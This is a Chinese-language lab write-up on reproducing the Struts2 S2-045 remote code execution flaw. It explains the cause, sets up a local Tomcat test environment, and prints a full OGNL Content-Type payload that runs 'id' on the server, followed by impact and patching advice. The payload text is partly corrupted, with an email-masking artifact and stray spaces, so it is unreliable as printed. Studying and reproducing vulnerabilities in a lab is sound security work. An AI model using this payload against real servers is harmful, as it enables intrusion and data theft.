Struts2 命令执行漏洞 S2-045 复现：深入剖析与实战演练

目录

前言

一、漏洞原理：框架解析缺陷引发的安全危机

二、复现环境搭建：搭建模拟战场，重现漏洞场景

三、复现步骤：步步为营，揭开漏洞利用的面纱

四、漏洞危害与修复建议：正视漏洞危害，筑牢安全防线

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前言

在当今网络安全形势日益严峻的大环境下，Web 应用框架的安全问题始终是信息安全领域关注的焦点。Struts2 作为一款广泛应用于 Java Web 开发的开源框架，其安全性直接关系到众多 Web 应用的稳定运行。今天，我们将深入探讨并实战复现 Struts2 中臭名昭著的 S2-045 命令执行漏洞，通过对这一漏洞的原理剖析、复现过程展示以及危害分析，为 Web 开发者和安全从业者提供全面的漏洞认知，助力大家筑牢网络安全防线。

一、漏洞原理：框架解析缺陷引发的安全危机

S2-045 漏洞的根源在于 Struts2 框架中 Jakarta Multipart 解析器处理文件上传时存在的致命缺陷。在正常的文件上传流程中，Jakarta Multipart 解析器会对 HTTP 请求中的 Content-Type 头进行解析，以此来识别上传文件的类型和相关参数。然而，这一解析过程却被攻击者利用。

恶意攻击者精心构造包含恶意 OGNL（Object - Graph Navigation Language）表达式的 Content-Type 头。OGNL 是 Struts2 框架中用于访问和操作对象属性的一种表达式语言。当 Struts2 框架尝试解析这个恶意的 Content-Type 头时，会错误地执行其中嵌入的 OGNL 表达式。由于这些表达式可以包含任意的 Java 代码，攻击者便能借此实现远程代码执行，进而获取服务器的控制权，对目标系统进行各种恶意操作。简单来说，这一漏洞就像是在坚固的城堡大门上开了一扇未被察觉的暗门，让攻击者可以轻易闯入。

二、复现环境搭建：搭建模拟战场，重现漏洞场景

复现 S2-045 漏洞需要精心搭建一个模拟环境，确保能够真实地重现漏洞利用过程。以下是详细的搭建步骤：

1. 安装 Java 环境：Java 是 Struts2 运行的基础，因此首先要确保系统中安装了 Java 运行时环境（JRE）或 Java 开发工具包（JDK）。你可以前往 Oracle 官方网站，根据自己的操作系统版本下载对应的 Java 安装包。下载完成后，按照安装向导的提示逐步完成安装。安装结束后，打开命令行窗口，输入java -version，若能正确显示 Java 版本信息，如 “java version "11.0.18" 2023 - 01 - 17”，则表明 Java 环境安装成功。
2. 搭建 Struts2 环境：从开源代码仓库，如 GitHub，搜索并下载包含 S2-045 漏洞的 Struts2 应用示例项目。下载完成后，将压缩包解压到指定目录。接下来，使用 Maven 或 Gradle 等构建工具对项目进行构建。这些构建工具会根据项目的pom.xml（Maven）或build.gradle（Gradle）文件，自动下载并配置项目所需的各种依赖库，确保项目能够正常运行。
3. 启动 Web 服务器：假设我们使用的是 Tomcat 服务器，先从 Apache Tomcat 官方网站下载合适版本的 Tomcat 安装包，解压到指定路径。然后，将前面构建好的 Struts2 应用部署到 Tomcat 的 webapps 目录下。启动 Tomcat 服务器，在浏览器地址栏中输入http://localhost:8080/[应用名称]，如果能够正常加载应用页面，显示出预期的内容，那就说明复现环境搭建大功告成，我们已经成功搭建好了漏洞复现的 “战场”。

三、复现步骤：步步为营，揭开漏洞利用的面纱

准备好复现环境后，接下来就进入到关键的漏洞复现环节，通过一步步的操作，展示攻击者是如何利用 S2-045 漏洞实现远程代码执行的：

1. 准备攻击工具：这里我们推荐使用 Burp Suite，它是一款功能强大且广受欢迎的 Web 安全测试工具，为我们提供了丰富的功能来拦截、修改和分析 HTTP 请求。启动 Burp Suite，确保其代理功能已经正常开启，代理地址和端口通常默认为127.0.0.1:8080，这将用于拦截浏览器发送的 HTTP 请求。
2. 构造恶意请求：打开浏览器，进入浏览器的代理设置界面，将代理地址设置为 Burp Suite 的代理地址127.0.0.1，端口设置为8080。然后，访问 Struts2 应用中具有文件上传功能的页面，比如常见的文件上传表单页面。在 Burp Suite 中，我们可以看到浏览器发送的上传请求已经被成功拦截。在拦截到的请求中，找到 Content-Type 头字段，将其内容修改为精心构造的恶意 OGNL 表达式，例如：

   %{(#nike='multipart/form - data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

这个复杂的表达式实际上是一个精心设计的 “陷阱”，它会根据目标服务器的操作系统类型（Windows 或 Linux），选择执行相应的命令。在这个例子中，它会尝试执行id命令，该命令在 Linux 系统中用于查看当前用户信息，在 Windows 系统中虽不完全等同，但也能获取一些用户相关信息。表达式的逻辑是先获取 Struts2 框架的上下文信息，突破框架的访问限制，然后根据操作系统类型构造执行命令的参数，最后通过 Java 的ProcessBuilder类启动一个新的进程来执行命令，并将命令执行结果通过 HTTP 响应返回给攻击者。

3. 发送请求并查看结果：在 Burp Suite 中，将修改后的包含恶意表达式的请求发送出去。密切观察 Burp Suite 的响应内容，如果目标系统确实存在 S2-045 漏洞，那么在响应中我们将看到执行id命令的结果。例如，在 Linux 系统中，可能会看到类似 “uid=1000 (user) gid=1000 (group) groups=1000 (group),4 (adm),24 (cdrom),46 (plugdev),116 (lpadmin),126 (sambashare)” 的用户信息，这表明攻击者已经成功利用漏洞，在目标服务器上执行了恶意命令，获取到了系统的关键信息。

四、漏洞危害与修复建议：正视漏洞危害，筑牢安全防线

通过前面的复现过程，我们深刻认识到 S2-045 漏洞的巨大破坏力。下面我们来详细分析一下该漏洞的危害以及相应的修复建议：

1. 漏洞危害：S2-045 漏洞堪称网络安全的 “定时炸弹”，一旦被攻击者利用，后果不堪设想。攻击者可以借助这个漏洞在目标服务器上执行任意命令，这意味着他们能够轻易获取服务器上的敏感文件内容，如用户账号密码、数据库连接配置文件等；还可以篡改系统配置，破坏系统的正常运行；甚至可以植入后门程序，长期控制目标服务器，随时窃取数据或发动进一步的攻击。这不仅会导致企业的数据泄露、业务中断，还可能引发严重的法律风险和声誉损失。
2. 修复建议：对于使用 Struts2 框架的 Web 应用来说，及时修复 S2-045 漏洞是当务之急。最直接有效的方法就是将 Struts2 框架升级到官方修复后的版本，官方通常会在发现漏洞后发布安全补丁，修复这些已知的安全问题。同时，为了进一步加强 Web 应用的安全防护，建议部署 Web 应用防火墙（WAF）。WAF 就像是网络安全的 “守门员”，它可以对上传请求和其他 HTTP 请求进行严格的过滤和检测，识别并拦截包含恶意代码的请求，防止其到达服务器，从而为 Web 应用提供一层额外的安全保障。

通过本次对 S2-045 漏洞的深入复现和分析，我们清楚地认识到 Struts2 框架漏洞的严重性和危害性。在 Web 开发和运维的日常工作中，每一位开发者和安全从业者都应当时刻保持警惕，密切关注框架的安全动态，及时修复已知漏洞，采用多层安全防护措施，共同守护网络空间的安全与稳定。只有这样，我们才能在这场没有硝烟的网络安全战争中，立于不败之地，为用户和企业的数据安全保驾护航。